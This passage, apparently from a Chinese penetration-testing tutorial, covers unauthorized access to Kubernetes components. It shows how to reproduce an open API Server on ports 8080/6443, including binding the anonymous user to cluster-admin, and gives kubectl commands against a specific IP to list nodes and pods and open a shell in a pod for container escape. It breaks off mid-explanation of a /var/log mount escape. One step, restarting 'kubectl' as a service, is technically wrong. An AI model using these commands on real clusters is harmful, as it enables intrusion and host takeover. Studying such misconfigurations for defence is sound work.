它的未授权主要包括以下几种:
- API Server,默认端口为8080,6443
- kubelet,默认端口为10250
- etcd,默认端口为2379
- Dashboard面板泄露
一、API Server 8080⁄6443 未授权访问
K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于 /etc/kubernetes/manifests/ 配置文件。
如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。
如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。
漏洞复现
1、8080端口
默认情况下,8080端口是关闭的,需要我们手动开启
vim /etc/kubernetes/manifests/
重启k8s
systemctl restart kubectl
访问 8080 端口即可看到存在未授权。
2、6443端口
如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下访问 6443 端口,提示 Forbidden。
执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
知道这种未授权访问,有什么用呢?或者说我们应该如何利用呢?
下面来说说他的利用方式:
我们随便使用一台安装了kubectl的机器就行,简单来说,知道了API server未授权,其实就可以用kubectl来进行命令执行:
查看集群信息
kubectl -s http://101.26.108.16:8080 cluster-info
查看node节点信息以及pod信息
kubectl -s http://101.36.108.16:8080 get nodes
kubectl -s http://101.36.108.16:8080 get pods
查看node和pod的详细信息
kubectl -s http://101.36.108.16:8080 get nodes -o wide
kubectl -s http://101.36.108.16:8080 get pods describe pod escaper
进入到escaper(这是一个可以进行逃逸的环境),进行逃逸
kubectl -s http://101.36.108.16:8080 exec -n default -it escaper -- /bin/bash
补充:
K8s下通过挂载 /var/log 目录逃逸的原理主要是:
- 自定义服务账户:首先,在 Pod 中通过 serviceAccountName 指定一个自定义的服务账户。这意味着该 Pod 将使用指定的服务账户进行身份验证和授权。
- 授予宿主机目录权限:然后,使用 ClusterRole 和 ClusterRoleBinding 为服务账户授予访问宿主机 /var/log 目录的权限。 ClusterRole 和 ClusterRoleBinding 是 Kubernetes 中用于集群范围授权的机制。这意味着服务账户现在具有访问宿主机文件系统的特权。
- 挂载宿主机目录:接下来,在 Pod 的定义中,通过使用